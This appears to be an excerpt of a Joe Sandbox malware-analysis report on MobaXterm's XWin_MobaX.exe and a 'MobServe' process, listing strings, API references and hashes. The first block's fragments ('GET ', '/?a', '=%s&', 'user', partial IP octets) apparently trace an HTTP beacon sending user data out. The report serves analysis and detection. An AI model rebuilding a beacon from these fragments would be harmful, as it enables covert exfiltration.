62.1, xrefs: 000001D869DE01A1
=%s&, xrefs: 000001D869DE0303
%s%s, xrefs: 000001D869DE03F6
%s:%, xrefs: 000001D869DE0338
148., xrefs: 000001D869DE0199
unMa, xrefs: 000001D869DE0100
%s%s, xrefs: 000001D869DE01D2
TP/1, xrefs: 000001D869DE031C
user, xrefs: 000001D869DE0057
msvc, xrefs: 000001D869DE009A
107., xrefs: 000001D869DE0191
p=%d, xrefs: 000001D869DE030E
HT, xrefs: 000001D869DE0315
/?a, xrefs: 000001D869DE02E4
d, xrefs: 000001D869DE033F
.1, xrefs: 000001D869DE0323
GET , xrefs: 000001D869DE02D6
Hos, xrefs: 000001D869DE032A
%s%s, xrefs: 000001D869DE03B9
%s%s, xrefs: 000001D869DE01E2
32.d, xrefs: 000001D869DE0069
w64, xrefs: 000001D869DE017D
%s%s, xrefs: 000001D869DE01DA
%s%s, xrefs: 000001D869DE03D4
32.d, xrefs: 000001D869DE0083
rt.d, xrefs: 000001D869DE00A1
=%s&, xrefs: 000001D869DE02EB
ws_, xrefs: 000001D869DE0187

Memory Dump Source

Source File: 0000000A.00000002.4079365114.000001D869DE0000.00000040.10000000.00040000.00000000.sdmp, Offset: 000001D869DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d869de0000_MobServe.jbxd

Similarity

API ID: LibraryLoad
String ID: Hos$ HT$%s%s$%s%s$%s%s$%s%s$%s%s$%s%s$%s&t$%s:%$.1$/?a$107.$148.$32.d$32.d$62.1$=%s&$=%s&$GET $TP/1$d$msvc$p=%d$rt.d$t: $unMa$user$w64$ws2_$ws_
API String ID: 1029625771-3065570680
Opcode ID: 8611c643db6afe545d0f7574d47fd8609b9992697eb9ec212d135069bb20b08d
Instruction ID: bf962462f2ed0fd43c0b244b9fcd1623e0715bd51ab4ce3a76d5c98e6d203197
Opcode Fuzzy Hash: 8611c643db6afe545d0f7574d47fd8609b9992697eb9ec212d135069bb20b08d
Instruction Fuzzy Hash: 56E19F7140878C8BDB25EF68D8856EEBBB0FF64344F50055EE88A8B291DF34D645CB82

Analysis Process: XWin_MobaX.exePID: 6480, Parent PID: 7116COMMON

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.8%
Total number of Nodes:	1902
Total number of Limit Nodes:	198

Executed Functions

Function 00418440 Relevance: 141.9, APIs: 60, Strings: 20, Instructions: 1925windowCOMMON

Download Yara Rule

APIs

winDisplayExitDialog.XWIN_MOBAX ref: 0041A411
winInitNotifyIcon.XWIN_MOBAX ref: 0041A474

Strings

Monitor number %d no longer exists!, xrefs: 00418A35
winWindowProc - WM_EXITSIZEMOVE, xrefs: 00418EAB
cyg_screen_prop rl, xrefs: 00418477, 004187EC
winWindowProc - WM_DISPLAYCHANGE - The display mode changed while we were initializing. This is very bad and unexpected. Exiting., xrefs: 00418854
winWindowProc - WM_SIZE - new client area w: %d h: %d, xrefs: 00418C39
winWindowProc - RemoteSession: %s, xrefs: 004188CD
winWindowProc - WM_*KEYDOWN - Closekey hit, quitting, xrefs: 00419F95
winWindowProc - Performance may be non-optimal after change in depth, xrefs: 00418959
winWindowProc - WM_DISPLAYCHANGE - Releasing and recreating primary surface, xrefs: 00418B5F
winWindowProc - Disruptive change in depth, xrefs: 0041891A
winWindowProc - TrackMouseEvent failed, xrefs: 0041969D
TaskbarCreated, xrefs: 004187CD
yes, xrefs: 004188BD
winWindowProc - WM_CTLCOLORSCROLLBAR - We are not supposed to get this message. Exiting., xrefs: 00419DE5
winWindowProc - WM_ENTERSIZEMOVE, xrefs: 00418E9A
\, xrefs: 0041A0B9
winWindowProc - WM_ACTIVATE - Bad depth, trying to override window activation, xrefs: 0041A16B
winWindowProc - WM_ACTIVATEAPP, xrefs: 0041A247
winWindowProc - WM_DISPLAYCHANGE - new width: %d new height: %d new bpp: %d, xrefs: 0041889C
winTopLevelWindowProc - WM_GETDPISCALEDSIZE, xrefs: 00418835

Memory Dump Source

Source File: 0000000D.00000002.4063215174.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.4063140972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063526245.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063601035.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063629801.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063715616.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064106371.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064183061.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064324313.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_XWin_MobaX.jbxd

Similarity

API ID: DialogDisplayExitIconInitNotify
String ID: Monitor number %d no longer exists!$TaskbarCreated$\$cyg_screen_prop rl$winTopLevelWindowProc - WM_GETDPISCALEDSIZE$winWindowProc - Disruptive change in depth$winWindowProc - Performance may be non-optimal after change in depth$winWindowProc - RemoteSession: %s$winWindowProc - TrackMouseEvent failed$winWindowProc - WM_*KEYDOWN - Closekey hit, quitting$winWindowProc - WM_ACTIVATE - Bad depth, trying to override window activation$winWindowProc - WM_ACTIVATEAPP$winWindowProc - WM_CTLCOLORSCROLLBAR - We are not supposed to get this message. Exiting.$winWindowProc - WM_DISPLAYCHANGE - Releasing and recreating primary surface$winWindowProc - WM_DISPLAYCHANGE - The display mode changed while we were initializing. This is very bad and unexpected. Exiting.$winWindowProc - WM_DISPLAYCHANGE - new width: %d new height: %d new bpp: %d$winWindowProc - WM_ENTERSIZEMOVE$winWindowProc - WM_EXITSIZEMOVE$winWindowProc - WM_SIZE - new client area w: %d h: %d$yes
API String ID: 1086186782-560916618
Opcode ID: bd109e46073a81512022c8aa0cc60717e8cca21dec550be21b80b6a42c6a5412
Instruction ID: cb633f71d140528fee6a95759d5d4e9ef50513b183954633c518206acf3a98ce
Opcode Fuzzy Hash: bd109e46073a81512022c8aa0cc60717e8cca21dec550be21b80b6a42c6a5412
Instruction Fuzzy Hash: E213F8B4604204CFDB10DF69D984BAA7BF0BB48344F50856AE889D7361E778ED91CF4A

Function 0041042F Relevance: 434.1, APIs: 152, Strings: 95, Instructions: 1890stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 0041047D
strcmp.MSVCRT ref: 004104A6
strcmp.MSVCRT ref: 004104CF
strcmp.MSVCRT ref: 004104F4
strcmp.MSVCRT ref: 00410519
winLogVersionInfo.XWIN_MOBAX ref: 00410522
winLogCommandLine.XWIN_MOBAX ref: 00410534
winErrorFVerb.XWIN_MOBAX ref: 00410548

Part of subcall function 00409550: LogVMessageVerb.XWIN_MOBAX ref: 00409578

Part of subcall function 00410050: memset.MSVCRT ref: 0041007D
Part of subcall function 00410050: KiUserCallbackDispatcher.NTDLL ref: 0041008E
Part of subcall function 00410050: winErrorFVerb.XWIN_MOBAX ref: 004100C7

strcmp.MSVCRT ref: 0041056E
strcmp.MSVCRT ref: 00410593
strcmp.MSVCRT ref: 004105B8
UseMsg.XWIN_MOBAX ref: 004105D5
exit.MSVCRT ref: 004105E1
strcmp.MSVCRT ref: 00410602
strcmp.MSVCRT ref: 00410627
winLogVersionInfo.XWIN_MOBAX ref: 0041063A
exit.MSVCRT ref: 00410646
strcmp.MSVCRT ref: 00410667
ErrorF.XWIN_MOBAX ref: 0041068D
UseMsg.XWIN_MOBAX ref: 00410692
FatalError.XWIN_MOBAX ref: 0041069E
atoi.MSVCRT ref: 004106BA
ErrorF.XWIN_MOBAX ref: 004106D6
UseMsg.XWIN_MOBAX ref: 004106DB
winInitializeScreens.XWIN_MOBAX ref: 004106F3
sscanf.MSVCRT ref: 0041072D
QueryMonitor.XWIN_MOBAX ref: 00410748
winErrorFVerb.XWIN_MOBAX ref: 0041076B
ErrorF.XWIN_MOBAX ref: 00410872
exit.MSVCRT ref: 0041087E
sscanf.MSVCRT ref: 004108BF
winErrorFVerb.XWIN_MOBAX ref: 004108DC
sscanf.MSVCRT ref: 00410989
winErrorFVerb.XWIN_MOBAX ref: 004109A6
sscanf.MSVCRT ref: 00410A17
QueryMonitor.XWIN_MOBAX ref: 00410A32
ErrorF.XWIN_MOBAX ref: 00410ADA
exit.MSVCRT ref: 00410AE6
sscanf.MSVCRT ref: 00410B11
QueryMonitor.XWIN_MOBAX ref: 00410B2C
winErrorFVerb.XWIN_MOBAX ref: 00410B4F
ErrorF.XWIN_MOBAX ref: 00410BD8
exit.MSVCRT ref: 00410BE4
sscanf.MSVCRT ref: 00410C23
sscanf.MSVCRT ref: 00410C57
winErrorFVerb.XWIN_MOBAX ref: 00410C74
sscanf.MSVCRT ref: 00410D29
sscanf.MSVCRT ref: 00410D5D
winErrorFVerb.XWIN_MOBAX ref: 00410D76
strcmp.MSVCRT ref: 00410EA4
UseMsg.XWIN_MOBAX ref: 00410EC4

Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC0CE
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC0DA
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC0E6
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC0F2
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC0FE
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC10A
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC116
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC122
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC12E
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC13A
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC146
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC152
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC15E
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC16A
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC176
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC182
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC18E
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC19A
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC1A6
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC1B2
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC1BE
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC1CA
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC1D6
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC1E2
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC1EE
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC1FA
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC206
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC212
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC21E
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC22A
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC236
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC242
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC24E
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC25A
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC266
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC272
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC27E
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC28A
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC296
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC2A2
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC2AE
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC2BA
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC2C6
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC2D2
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC2DE
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC2EA
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC2F6
Part of subcall function 005AC0C1: ErrorF.XWIN_MOBAX ref: 005AC302

atoi.MSVCRT ref: 00410EE7
winCountBits.XWIN_MOBAX ref: 00410EF5
UseMsg.XWIN_MOBAX ref: 00410F03

Strings

The -keyboard option is not supported in this release.Ignoring this option and continuing., xrefs: 00411C73
-clipupdates, xrefs: 004117A7
-noclipboard, xrefs: 0041150F
-silent-dup-error, xrefs: 00412002
-noresize, xrefs: 00411316, 0041139D
-notrayicon, xrefs: 00411946
-configdir, xrefs: 00411BE5
-screen missing screen number, xrefs: 00410697
ddxProcessArgument - screen - Found ``X Y'' arg, xrefs: 00410D67
-query, xrefs: 00411A07
-mwextwm, xrefs: 00411009
-rootless, xrefs: 00411067
-primary, xrefs: 00411548
ddxProcessArgument - screen - Missing screen number, xrefs: 00410686
-indirect, xrefs: 00411AAD
-multiplemonitors, xrefs: 004111E5
-refresh, xrefs: 00411731
-noemulate3buttons, xrefs: 0041167F
-xkboptions, xrefs: 00411EF4
-broadcast, xrefs: 00411AD2
-screen, xrefs: 0041065C
2, xrefs: 00411653
-internalwm, xrefs: 00411038
scrollbars, xrefs: 00411425
ddxProcessArgument - screen - Did not find size arg. dwWidth: %d dwHeight: %d, xrefs: 00410DFE
-nokeyhook, xrefs: 00411F90
The %s option is not supported in this release.Ignoring this option and continuing., xrefs: 00411BBE, 00411C30
%*dx%*d+%*d+%*d@%d, xrefs: 00410A0C
none, xrefs: 00411445
randr, xrefs: 00411405
-engine, xrefs: 00410E99
ddxProcessArgument - Initializing default screens, xrefs: 00410539
-winkill, xrefs: 00411892
-xkbrules, xrefs: 00411D68
-nodecoration, xrefs: 00410FBC
-nounixkill, xrefs: 004118CE
-lesspointer, xrefs: 00410F83
-logfile, xrefs: 00411C9A
--help, xrefs: 004104C4, 004105AD
%dx%d, xrefs: 004108B4
@, xrefs: 004121DF
ddxProcessArgument - screen - Found ``WxD'' arg, xrefs: 004108CD
-nocompositewm, xrefs: 0041113A
-icon, xrefs: 0041211F
-nocompositealpha, xrefs: 004111AC
-nohostintitle, xrefs: 004120E6
-multiwindow, xrefs: 004110B4
ddxProcessArgument - screen - Found Valid ``@Monitor'' = %d arg, xrefs: 0041075C, 00410B40
-scrollbars, xrefs: 004112B5
-fullscreen, xrefs: 00410F36
%*dx%*d+%d+%d, xrefs: 0041097E
-config, xrefs: 00411B4E
-trayicon, xrefs: 00411982
-hostintitle, xrefs: 004120AD
-resize, xrefs: 004112F1, 0041136C
ddxProcessArgument - resize - Invalid resize mode %s, xrefs: 0041146C
-emulatepseudo, xrefs: 0041181D
@, xrefs: 00411C6B
ddxProcessArgument - icon - Invalid icon specification %s, xrefs: 0041222E
-noprimary, xrefs: 0041157E
-xkbmodel, xrefs: 00411DCB
@%d, xrefs: 00410722
-compositewm, xrefs: 00411101
-xf86config, xrefs: 00411B73
-wgl, xrefs: 0041203B
-logverbose, xrefs: 00411CFD
-keyhook, xrefs: 00411F57
-fp, xrefs: 004119BE
-unixkill, xrefs: 0041190A
ddxProcessArgument - screen - Found ``X+Y'' arg, xrefs: 00410997
ddxProcessArgument - screen - Found ``W D'' arg, xrefs: 00410C65
ddxProcessArgument - screen - Invalid monitor number %d, xrefs: 0041086B, 00410AD3, 00410BD1
--version, xrefs: 0041050E, 0041061C
-nowinkill, xrefs: 00411856
-xkblayout, xrefs: 00411E2E
-xkbvariant, xrefs: 00411E91
-multimonitors, xrefs: 0041120A
ddxProcessArgument - resize - Invalid resize option %s, xrefs: 00411499
-ignoreinput, xrefs: 004115B4
-auth, xrefs: 00411A74
-resize=, xrefs: 00411343, 004113D6
-emulate3buttons, xrefs: 004115F0
-keyboard, xrefs: 00411C57
-nomultiplemonitors, xrefs: 0041124D
-depth, xrefs: 004116BB
-dpi, xrefs: 00411B0B
-version, xrefs: 004104E9, 004105F7
%*dx%*d@%d, xrefs: 00410B06
-swcursor, xrefs: 00411FC9
-clipboard, xrefs: 004114D6
-help, xrefs: 00410472, 00410563
-nowgl, xrefs: 00412074
-nomultimonitors, xrefs: 00411272
ddxProcessArgument - screen - Invalid screen number %d, xrefs: 004106CF
-compositealpha, xrefs: 00411173

Memory Dump Source

Source File: 0000000D.00000002.4063215174.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.4063140972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063526245.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063601035.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063629801.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063715616.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064106371.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064183061.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064324313.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Error$strcmp$Verbsscanf$exit$MonitorQuery$InfoVersionatoi$BitsCallbackCommandCountDispatcherFatalInitializeLineMessageScreensUsermemset
String ID: %*dx%*d+%*d+%*d@%d$%*dx%*d+%d+%d$%*dx%*d@%d$%dx%d$--help$--version$-auth$-broadcast$-clipboard$-clipupdates$-compositealpha$-compositewm$-config$-configdir$-depth$-dpi$-emulate3buttons$-emulatepseudo$-user$-fp$-fullscreen$-help$-hostintitle$-icon$-ignoreinput$-indirect$-internalwm$-keyboard$-keyhook$-lesspointer$-logfile$-logverbose$-multimonitors$-multiplemonitors$-multiwindow$-mwextwm$-noclipboard$-nocompositealpha$-nocompositewm$-nodecoration$-noemulate3buttons$-nohostintitle$-nokeyhook$-nomultimonitors$-nomultiplemonitors$-noprimary$-noresize$-notrayicon$-nounixkill$-nowgl$-nowinkill$-primary$-query$-refresh$-resize$-resize=$-rootless$-screen$-screen missing screen number$-scrollbars$-silent-dup-error$-swcursor$-trayicon$-unixkill$-version$-wgl$-winkill$-xf86config$-xkblayout$-xkbmodel$-xkboptions$-xkbrules$-xkbvariant$2$@$@$@%d$The %s option is not supported in this release.Ignoring this option and continuing.$The -keyboard option is not supported in this release.Ignoring this option and continuing.$ddxProcessArgument - Initializing default screens$ddxProcessArgument - icon - Invalid icon specification %s$ddxProcessArgument - resize - Invalid resize mode %s$ddxProcessArgument - resize - Invalid resize option %s$ddxProcessArgument - screen - Did not find size arg. dwWidth: %d dwHeight: %d$ddxProcessArgument - screen - Found Valid ``@Monitor'' = %d arg$ddxProcessArgument - screen - Found ``W D'' arg$ddxProcessArgument - screen - Found ``WxD'' arg$ddxProcessArgument - screen - Found ``X Y'' arg$ddxProcessArgument - screen - Found ``X+Y'' arg$ddxProcessArgument - screen - Invalid monitor number %d$ddxProcessArgument - screen - Invalid screen number %d$ddxProcessArgument - screen - Missing screen number$none$randr$scrollbars
API String ID: 2063164217-549810542
Opcode ID: d451846f1bd7df78b21a03757de02fe1380181f137f27ad3aa5bd099d0379c6a
Instruction ID: ca3622ed2aa69bf5365ba775af878777bc062f2f3d552d782f1c342fd2e31f02
Opcode Fuzzy Hash: d451846f1bd7df78b21a03757de02fe1380181f137f27ad3aa5bd099d0379c6a
Instruction Fuzzy Hash: 3E13E174A04206CFDB00DF58D985B8DBBE1FF89308F04892AE958CB361E379E995CB45

Function 00536057 Relevance: 51.0, APIs: 22, Strings: 7, Instructions: 211
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsMaster.XWIN_MOBAX ref: 005360BE
InitializeSprite.XWIN_MOBAX ref: 005360ED
EnterWindow.XWIN_MOBAX ref: 0053610C
ErrorFSigSafe.XWIN_MOBAX ref: 00536131
ErrorFSigSafe.XWIN_MOBAX ref: 00536155
ErrorFSigSafe.XWIN_MOBAX ref: 00536161
xorg_backtrace.XWIN_MOBAX ref: 00536166
input_lock.XWIN_MOBAX ref: 005361D4
ErrorF.XWIN_MOBAX ref: 0053621D
input_unlock.XWIN_MOBAX ref: 00536222
input_unlock.XWIN_MOBAX ref: 00536275
XIGetKnownProperty.XWIN_MOBAX ref: 00536285
XIChangeDeviceProperty.XWIN_MOBAX ref: 005362C5
SendDevicePresenceEvent.XWIN_MOBAX ref: 005362DB
XISendDeviceHierarchyEvent.XWIN_MOBAX ref: 0053630F
IsMaster.XWIN_MOBAX ref: 0053631A
IsFloating.XWIN_MOBAX ref: 00536329
GetMaster.XWIN_MOBAX ref: 00536340
XkbPushLockedStateToSlaves.XWIN_MOBAX ref: 00536358
SyncInitDeviceIdleTime.XWIN_MOBAX ref: 0053636E

Strings

[dix] couldn't enable device %d, xrefs: 00536216
EnableDevice, xrefs: 00536136
BUG: %s:%u in %s(), xrefs: 0053614E
devices.c, xrefs: 00536146
Device Enabled, xrefs: 0053627E
BUG: triggered 'if (other == ((void *)0))', xrefs: 0053612A
[dix] cannot find pointer to pair with., xrefs: 0053615A

Memory Dump Source

Source File: 0000000D.00000002.4063215174.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.4063140972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063526245.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063601035.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063629801.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063715616.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064106371.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064183061.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064324313.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_XWin_MobaX.jbxd

Similarity

API ID: DeviceError$MasterSafe$EventPropertySendinput_unlock$ChangeEnterFloatingHierarchyIdleInitInitializeKnownLockedPresencePushSlavesSpriteStateSyncTimeWindowinput_lockxorg_backtrace
String ID: BUG: %s:%u in %s()$BUG: triggered 'if (other == ((void *)0))'$Device Enabled$EnableDevice$[dix] cannot find pointer to pair with.$[dix] couldn't enable device %d$devices.c
API String ID: 1726867232-3531668152
Opcode ID: 4c2fefb46ffd9aab6f3dcddbfe42bb5854d21882f04b44b8dc4ddb3785069c2c
Instruction ID: 9205d745404e0b99ddc3374ec69acd0423eb64dfa8e8cbfaf800a07e15b96f5c
Opcode Fuzzy Hash: 4c2fefb46ffd9aab6f3dcddbfe42bb5854d21882f04b44b8dc4ddb3785069c2c
Instruction Fuzzy Hash: F9A176B4A04209AFDB00EF68C489A9DBFF0BF89354F01C859E8989B351D775D984CF92

Function 00412257 Relevance: 35.2, APIs: 18, Strings: 2, Instructions: 186COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00412374
FatalError.XWIN_MOBAX ref: 0041238E
ErrorF.XWIN_MOBAX(?,?,?,?,?,?,?,?,00410539), ref: 004124ED

Strings

XWin was started with the following command line:%s, xrefs: 004124E6
winLogCommandLine - Could not allocate memory for command line string. Exiting., xrefs: 00412387

Memory Dump Source

Source File: 0000000D.00000002.4063215174.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.4063140972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063526245.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063601035.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063629801.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063715616.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4063869128.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064106371.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064183061.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064235525.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000D.00000002.4064324313.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Error$Fatalmalloc
String ID: XWin was started with the following command line:%s$winLogCommandLine - Could not allocate memory for command line string. Exiting.
API String ID: 1725317270-3652798954
Opcode ID: cbc2f036cf9492d72dde5033a3dfa6782ce0788f82e8d669cfc5f8f567eebe76
Instruction ID: 299900992ad85c7fb50164053372dd497eb1bc4c762612b59a7c702aa26f513f
Opcode Fuzzy Hash: cbc2f036cf9492d72dde5033a3dfa6782ce0788f82e8d669cfc5f8f567eebe76
Instruction Fuzzy Hash: 4981F570A0060ADFCB00DF68D885B9DB7F2BF49304F148929E464DB321E779EA54CB5A

Function 004F2019 Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 291stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 004F2091
strchr.MSVCRT ref: 004F20A7
Xstrdup.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,none), ref: 004F210B
strcmp.MSVCRT ref: 004F21E4
Xstrdup.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,none), ref: 004F211E

Part of subcall function 005ADA34: _strdup.MSVCRT ref: 005ADA4D

memset.MSVCRT ref: 004F21B7
strtok.MSVCRT ref: 004F223F
Xstrdup.XWIN_MOBAX ref: 004F22BF
Xstrdup.XWIN_MOBAX ref: 004F22D2
Xstrdup.XWIN_MOBAX ref: 004F22E5
Xstrdup.XWIN_MOBAX ref: 004F22F8
Xstrdup.XWIN_MOBAX ref: 004F230B
Xstrdup.XWIN_MOBAX ref: 004F231E
Xstrdup.XWIN_MOBAX ref: 004F2331
Xstrdup.XWIN_MOBAX ref: 004F2344
Xstrdup.XWIN_MOBAX ref: 004F2357

Strings

, xrefs: 004F2099
none, xrefs: 004F201C, 004F201D
(, xrefs: 004F21A1

Memory Dump Source

Source File: 0000000D.00000002.4063215174.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

